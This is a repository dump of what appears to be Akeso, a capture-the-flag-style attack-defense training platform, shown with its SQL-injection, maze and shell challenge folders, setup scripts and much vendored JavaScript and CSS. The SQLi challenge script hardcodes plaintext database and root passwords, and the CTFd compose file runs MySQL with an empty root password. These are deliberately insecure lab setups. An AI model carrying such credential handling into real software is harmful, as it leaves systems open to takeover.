3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | envlist = py27, flake8 3 | 4 | [testenv] 5 | deps = -rrequirements.txt 6 | 7 | [testenv:py27] 8 | changedir = tests 9 | deps = -rrequirements.txt 10 | commands = pytest {posargs} # substitute with tox' positional argumentsi 11 | 12 | [testenv:flake8] 13 | deps = flake8 14 | ignore = E501,E712 15 | exclude = 16 | .git, 17 | .cache, 18 | .tox 19 | 20 | commands = flake8 --ignore E501,E712,E999 --exclude .git,.cache,.tox,__init__.py,akeso_venv,examples,Akeso/Exploits,Akeso/Services 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/test/index.js: -------------------------------------------------------------------------------- 1 | 2 | var Backoff = require('..'); 3 | var assert = require('assert'); 4 | 5 | describe('.duration()', function(){ 6 | it('should increase the backoff', function(){ 7 | var b = new Backoff; 8 | 9 | assert(100 == b.duration()); 10 | assert(200 == b.duration()); 11 | assert(400 == b.duration()); 12 | assert(800 == b.duration()); 13 | 14 | b.reset(); 15 | assert(100 == b.duration()); 16 | assert(200 == b.duration()); 17 | }) 18 | }) -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/index.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Module exports. 4 | * 5 | * Logic borrowed from Modernizr: 6 | * 7 | * - https://github.com/Modernizr/Modernizr/blob/master/feature-detects/cors.js 8 | */ 9 | 10 | try { 11 | module.exports = typeof XMLHttpRequest !== 'undefined' && 12 | 'withCredentials' in new XMLHttpRequest(); 13 | } catch (err) { 14 | // if XMLHttp support is disabled in IE then it will throw 15 | // when trying to create 16 | module.exports = false; 17 | } 18 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/merge-descriptors/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.1 / 2016-01-17 2 | ================== 3 | 4 | * perf: enable strict mode 5 | 6 | 1.0.0 / 2015-03-01 7 | ================== 8 | 9 | * Add option to only add new descriptors 10 | * Add simple argument validation 11 | * Add jsdoc to source file 12 | 13 | 0.0.2 / 2013-12-14 14 | ================== 15 | 16 | * Move repository to `component` organization 17 | 18 | 0.0.1 / 2013-10-29 19 | ================== 20 | 21 | * Initial release 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-emitter/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "emitter", 3 | "description": "Event emitter", 4 | "keywords": [ 5 | "emitter", 6 | "events" 7 | ], 8 | "version": "1.1.2", 9 | "license": "MIT", 10 | "main": "index.js", 11 | "homepage": "https://github.com/component/emitter", 12 | "ignore": [ 13 | "**/.*", 14 | "node_modules", 15 | "bower_components", 16 | "test", 17 | "Makefile", 18 | "package.json", 19 | "component.json" 20 | ] 21 | } 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/base64id/README.md: -------------------------------------------------------------------------------- 1 | base64id 2 | ======== 3 | 4 | Node.js module that generates a base64 id. 5 | 6 | Uses crypto.randomBytes when available, falls back to unsafe methods for node.js <= 0.4. 7 | 8 | To increase performance, random bytes are buffered to minimize the number of synchronous calls to crypto.randomBytes. 9 | 10 | ## Installation 11 | 12 | $ npm install mongoose 13 | 14 | ## Usage 15 | 16 | var base64id = require('base64id'); 17 | 18 | var id = base64id.generateId(); 19 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-binary/History.md: -------------------------------------------------------------------------------- 1 | 2 | 0.1.7 / 2015-11-18 3 | ================== 4 | 5 | * fix toJSON [@jderuere] 6 | * fix `global.isBuffer` usage [@tonetheman] 7 | * fix tests on modern versions of node 8 | * bump mocha 9 | 10 | 0.1.6 / 2015-01-24 11 | ================== 12 | 13 | * fix "undefined function" bug when iterating 14 | an object created with Object.create(null) [gunta] 15 | 16 | 0.1.5 / 2014-09-04 17 | ================== 18 | 19 | * prevent browserify from bundling `Buffer` 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/test/inherit.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Module dependencies. 4 | */ 5 | 6 | var inherit = require('..'); 7 | 8 | describe('inherit(a, b)', function(){ 9 | it('should inherit b\'s prototype', function(){ 10 | function Loki(){} 11 | function Animal(){} 12 | 13 | Animal.prototype.species = 'unknown'; 14 | 15 | inherit(Loki, Animal); 16 | 17 | var loki = new Loki; 18 | loki.species.should.equal('unknown'); 19 | loki.constructor.should.equal(Loki); 20 | }) 21 | }) -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/lib/on.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Module exports. 4 | */ 5 | 6 | module.exports = on; 7 | 8 | /** 9 | * Helper for subscriptions. 10 | * 11 | * @param {Object|EventEmitter} obj with `Emitter` mixin or `EventEmitter` 12 | * @param {String} event name 13 | * @param {Function} callback 14 | * @api public 15 | */ 16 | 17 | function on (obj, ev, fn) { 18 | obj.on(ev, fn); 19 | return { 20 | destroy: function () { 21 | obj.removeListener(ev, fn); 22 | } 23 | }; 24 | } 25 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/utils-merge/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Merge object b with object a. 3 | * 4 | * var a = { foo: 'bar' } 5 | * , b = { bar: 'baz' }; 6 | * 7 | * merge(a, b); 8 | * // => { foo: 'bar', bar: 'baz' } 9 | * 10 | * @param {Object} a 11 | * @param {Object} b 12 | * @return {Object} 13 | * @api public 14 | */ 15 | 16 | exports = module.exports = function(a, b){ 17 | if (a && b) { 18 | for (var key in b) { 19 | a[key] = b[key]; 20 | } 21 | } 22 | return a; 23 | }; 24 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/xmlhttprequest-ssl/example/demo.js: -------------------------------------------------------------------------------- 1 | var sys = require('util'); 2 | var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest; 3 | 4 | var xhr = new XMLHttpRequest(); 5 | 6 | xhr.onreadystatechange = function() { 7 | sys.puts("State: " + this.readyState); 8 | 9 | if (this.readyState == 4) { 10 | sys.puts("Complete.\nBody length: " + this.responseText.length); 11 | sys.puts("Body:\n" + this.responseText); 12 | } 13 | }; 14 | 15 | xhr.open("GET", "http://driverdan.com"); 16 | xhr.send(); 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/object-component/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # object 3 | 4 | Object utils. 5 | 6 | ## API 7 | 8 | ### .keys(obj) 9 | 10 | Return the keys for `obj`. 11 | 12 | ### .values(obj) 13 | 14 | Return the values for `obj`. 15 | 16 | ### .length(obj) 17 | 18 | Return the number of keys for `obj`. 19 | 20 | ### .isEmpty(obj) 21 | 22 | Check if `obj` is empty. 23 | 24 | ### .merge(a, b) 25 | 26 | Merge object `b` into `a`, returns `a`. 27 | Precedence is given to `b`. 28 | 29 | ## License 30 | 31 | MIT -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: (-@fa-li-width + (4em / 14)); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/setprototypeof/README.md: -------------------------------------------------------------------------------- 1 | # Polyfill for `Object.setPrototypeOf` 2 | 3 | A simple cross platform implementation to set the prototype of an instianted object. Supports all modern browsers and at least back to IE8. 4 | 5 | ## Usage: 6 | 7 | ``` 8 | $ npm install --save setprototypeof 9 | ``` 10 | 11 | ```javascript 12 | var setPrototypeOf = require('setprototypeof'); 13 | 14 | var obj = {}; 15 | setPrototypeOf(obj, { 16 | foo: function() { 17 | return 'bar'; 18 | } 19 | }); 20 | obj.foo(); // bar 21 | ``` 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: (-@fa-li-width + (4em / 14)); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/SQLi/db_gen.sh: -------------------------------------------------------------------------------- 1 | service mysql start && mysql -uroot -e "CREATE DATABASE SqliDB; CREATE USER 'sqli-server'@'localhost' IDENTIFIED BY 'Bx117@\$YaML**\!'; GRANT ALL PRIVILEGES ON SqliDB.* TO 'sqli-server'@'localhost'; USE SqliDB; CREATE TABLE Users (ID INT NOT NULL AUTO_INCREMENT PRIMARY KEY, User varchar(20), Password varchar(100)); INSERT INTO Users (User,Password) VALUES ('admin','708DxSUf2O%C*pLWNI'); INSERT INTO Users (User,Password) VALUES ('bob','bobspassword'); SET PASSWORD FOR root@'localhost' = PASSWORD('Tl6@$0lxyaA@#--Jl3NMA@1-9283D')"; 2 | 3 | 4 | -------------------------------------------------------------------------------- /tests/test_config.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from Akeso.config import challenge_mapper 3 | 4 | 5 | @pytest.mark.parametrize("challenge, expected_ret", [ 6 | ('maze', ('maze', ['mazeAttack'], ['maze'], 31337)), 7 | ('SQL', ('sqlisimple', ['SQLi'], ['SQLiSimple'], 80)), 8 | ('shell', ('shell', ['shellAttack'], ['shell'], 4001)), 9 | ('nginx', ('nginx', ['DirectoryTraversal'], ['ApacheDirectoryTraversal'], 80)) 10 | ]) 11 | def test_challenge_mapper(challenge, expected_ret): 12 | ret = challenge_mapper(challenge) 13 | assert ret == expected_ret 14 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "animated"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | ctfd: 5 | build: . 6 | restart: always 7 | ports: 8 | - "8000:8000" 9 | environment: 10 | - DATABASE_URL=mysql+pymysql://root@db/ctfd 11 | volumes: 12 | - .data/CTFd/logs:/opt/CTFd/CTFd/logs 13 | - .data/CTFd/uploads:/opt/CTFd/CTFd/uploads 14 | depends_on: 15 | - db 16 | 17 | db: 18 | image: mysql 19 | environment: 20 | - MYSQL_ALLOW_EMPTY_PASSWORD=yes 21 | volumes: 22 | - .data/mysql:/var/lib/mysql 23 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "animated"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ultron/.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: false 2 | language: node_js 3 | node_js: 4 | - "0.12" 5 | - "0.10" 6 | - "0.8" 7 | - "iojs" 8 | before_install: 9 | - 'if [ "${TRAVIS_NODE_VERSION}" == "0.8" ]; then npm install -g npm@2.11.1; fi' 10 | script: 11 | - "npm run test-travis" 12 | after_script: 13 | - "npm install coveralls@2.11.x && cat coverage/lcov.info | coveralls" 14 | matrix: 15 | fast_finish: true 16 | notifications: 17 | irc: 18 | channels: 19 | - "irc.freenode.org#unshift" 20 | on_success: change 21 | on_failure: change 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration 7 | font-size: inherit; // can't have font-size inherit on line above, so need to override 8 | text-rendering: auto; // optimizelegibility throws things off #1094 9 | -webkit-font-smoothing: antialiased; 10 | -moz-osx-font-smoothing: grayscale; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "root": true, 3 | 4 | "extends": "@ljharb", 5 | 6 | "rules": { 7 | "complexity": [2, 22], 8 | "consistent-return": [1], 9 | "id-length": [2, { "min": 1, "max": 25, "properties": "never" }], 10 | "indent": [2, 4], 11 | "max-params": [2, 9], 12 | "max-statements": [2, 36], 13 | "no-extra-parens": [1], 14 | "no-continue": [1], 15 | "no-magic-numbers": 0, 16 | "no-restricted-syntax": [2, "BreakStatement", "DebuggerStatement", "ForInStatement", "LabeledStatement", "WithStatement"], 17 | "operator-linebreak": 1 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/isarray/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "isarray", 3 | "description" : "Array#isArray for older browsers", 4 | "version" : "0.0.1", 5 | "repository" : "juliangruber/isarray", 6 | "homepage": "https://github.com/juliangruber/isarray", 7 | "main" : "index.js", 8 | "scripts" : [ 9 | "index.js" 10 | ], 11 | "dependencies" : {}, 12 | "keywords": ["browser","isarray","array"], 13 | "author": { 14 | "name": "Julian Gruber", 15 | "email": "mail@juliangruber.com", 16 | "url": "http://juliangruber.com" 17 | }, 18 | "license": "MIT" 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/docker-entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # http://stackoverflow.com/questions/25503412/how-do-i-know-when-my-docker-mysql-container-is-up-and-mysql-is-ready-for-taking#29793382 4 | echo "Waiting on MySQL" 5 | while ! mysqladmin ping -h db --silent; do 6 | # Show some progress 7 | echo -n '.'; 8 | sleep 1; 9 | done 10 | echo "Ready" 11 | # Give it another second. 12 | sleep 1; 13 | 14 | echo "Starting CTFd" 15 | gunicorn --bind 0.0.0.0:8000 -w 4 'CTFd:create_app()' --access-logfile '/opt/CTFd/CTFd/logs/access.log' --error-logfile '/opt/CTFd/CTFd/logs/error.log' -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -exo pipefail 4 | 5 | sudo apt update 6 | sudo apt install -y python-pip docker.io 7 | 8 | sudo pip install virtualenv 9 | 10 | virtualenv akeso_venv 11 | source akeso_venv/bin/activate 12 | 13 | pip install -r requirements.txt 14 | 15 | if id -nG "$USER" | grep -qw "docker"; then 16 | echo "User AkesoCLI.py to bring the backend up." 17 | else 18 | echo "Adding $USER to docker group" 19 | getent group docker || sudo groupadd docker 20 | sudo usermod -a -G docker $USER 21 | echo "Please relogin before starting up Akeso" 22 | exit 23 | fi 24 | 25 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/media-typer/HISTORY.md: -------------------------------------------------------------------------------- 1 | 0.3.0 / 2014-09-07 2 | ================== 3 | 4 | * Support Node.js 0.6 5 | * Throw error when parameter format invalid on parse 6 | 7 | 0.2.0 / 2014-06-18 8 | ================== 9 | 10 | * Add `typer.format()` to format media types 11 | 12 | 0.1.0 / 2014-06-17 13 | ================== 14 | 15 | * Accept `req` as argument to `parse` 16 | * Accept `res` as argument to `parse` 17 | * Parse media type with extra LWS between type and first parameter 18 | 19 | 0.0.0 / 2014-06-13 20 | ================== 21 | 22 | * Initial implementation 23 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/methods/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.1.2 / 2016-01-17 2 | ================== 3 | 4 | * perf: enable strict mode 5 | 6 | 1.1.1 / 2014-12-30 7 | ================== 8 | 9 | * Improve `browserify` support 10 | 11 | 1.1.0 / 2014-07-05 12 | ================== 13 | 14 | * Add `CONNECT` method 15 | 16 | 1.0.1 / 2014-06-02 17 | ================== 18 | 19 | * Fix module to work with harmony transform 20 | 21 | 1.0.0 / 2014-05-08 22 | ================== 23 | 24 | * Add `PURGE` method 25 | 26 | 0.1.0 / 2013-10-28 27 | ================== 28 | 29 | * Add `http.METHODS` support 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/base64-arraybuffer/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - '0.12' 4 | - iojs-1 5 | - iojs-2 6 | - iojs-3 7 | - '4.1' 8 | before_script: 9 | - npm install 10 | before_install: npm install -g npm@'>=2.13.5' 11 | deploy: 12 | provider: npm 13 | email: niklasvh@gmail.com 14 | api_key: 15 | secure: oHV9ArprTj5WOk7MP1UF7QMJ70huXw+y7xXb5wF4+V2H8Hyfa5TfE0DiOmqrube1WXTeH1FLgq54shp/sJWi47Hkg/GyeoB5NnsPhYEaJkaON9UG5blML+ODiNVsEnq/1kNBQ8e0+0JItMPLGySKyFmuZ3yflulXKS8O88mfINo= 16 | on: 17 | tags: true 18 | branch: master 19 | repo: niklasvh/base64-arraybuffer 20 | -------------------------------------------------------------------------------- /Akeso/ServiceManager.py: -------------------------------------------------------------------------------- 1 | 2 | class ServiceInfo(object): 3 | """Object to hold information pertaining to each service""" 4 | 5 | def __init__(self, info): 6 | if 'serviceName' in info: 7 | self.serviceName = info['serviceName'] 8 | else: 9 | self.serviceName = None 10 | self.imageName = info['imageName'] 11 | self.serviceHost = info['serviceHost'] 12 | self.servicePort = info['servicePort'] 13 | self.exploitModules = info['exploitModules'] 14 | self.serviceCheckNames = info['serviceCheckNames'] 15 | self.userInfo = info['userInfo'] 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-bind/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Slice reference. 3 | */ 4 | 5 | var slice = [].slice; 6 | 7 | /** 8 | * Bind `obj` to `fn`. 9 | * 10 | * @param {Object} obj 11 | * @param {Function|String} fn or string 12 | * @return {Function} 13 | * @api public 14 | */ 15 | 16 | module.exports = function(obj, fn){ 17 | if ('string' == typeof fn) fn = obj[fn]; 18 | if ('function' != typeof fn) throw new Error('bind() requires a function'); 19 | var args = slice.call(arguments, 2); 20 | return function(){ 21 | return fn.apply(obj, args.concat(slice.call(arguments))); 22 | } 23 | }; 24 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | import importlib 3 | import os 4 | 5 | 6 | def init_plugins(app): 7 | modules = glob.glob(os.path.dirname(__file__) + "/*") 8 | blacklist = {'keys', 'challenges', '__pycache__'} 9 | for module in modules: 10 | module_name = os.path.basename(module) 11 | if os.path.isdir(module) and module_name not in blacklist: 12 | module = '.' + module_name 13 | module = importlib.import_module(module, package='CTFd.plugins') 14 | module.load(app) 15 | print(" * Loaded module, %s" % module) 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables.less"; 7 | @import "mixins.less"; 8 | @import "path.less"; 9 | @import "core.less"; 10 | @import "larger.less"; 11 | @import "fixed-width.less"; 12 | @import "list.less"; 13 | @import "bordered-pulled.less"; 14 | @import "animated.less"; 15 | @import "rotated-flipped.less"; 16 | @import "stacked.less"; 17 | @import "icons.less"; 18 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables.less"; 7 | @import "mixins.less"; 8 | @import "path.less"; 9 | @import "core.less"; 10 | @import "larger.less"; 11 | @import "fixed-width.less"; 12 | @import "list.less"; 13 | @import "bordered-pulled.less"; 14 | @import "animated.less"; 15 | @import "rotated-flipped.less"; 16 | @import "stacked.less"; 17 | @import "icons.less"; 18 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "version": "2.2.0", 5 | "homepage": "https://github.com/visionmedia/debug", 6 | "authors": [ 7 | "TJ Holowaychuk " 8 | ], 9 | "description": "visionmedia-debug", 10 | "moduleType": [ 11 | "amd", 12 | "es6", 13 | "globals", 14 | "node" 15 | ], 16 | "keywords": [ 17 | "visionmedia", 18 | "debug" 19 | ], 20 | "license": "MIT", 21 | "ignore": [ 22 | "**/.*", 23 | "node_modules", 24 | "bower_components", 25 | "test", 26 | "tests" 27 | ] 28 | } 29 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/migrations/script.py.mako: -------------------------------------------------------------------------------- 1 | """${message} 2 | 3 | Revision ID: ${up_revision} 4 | Revises: ${down_revision | comma,n} 5 | Create Date: ${create_date} 6 | 7 | """ 8 | from alembic import op 9 | import sqlalchemy as sa 10 | ${imports if imports else ""} 11 | 12 | # revision identifiers, used by Alembic. 13 | revision = ${repr(up_revision)} 14 | down_revision = ${repr(down_revision)} 15 | branch_labels = ${repr(branch_labels)} 16 | depends_on = ${repr(depends_on)} 17 | 18 | 19 | def upgrade(): 20 | ${upgrades if upgrades else "pass"} 21 | 22 | 23 | def downgrade(): 24 | ${downgrades if downgrades else "pass"} 25 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_stacked.scss: 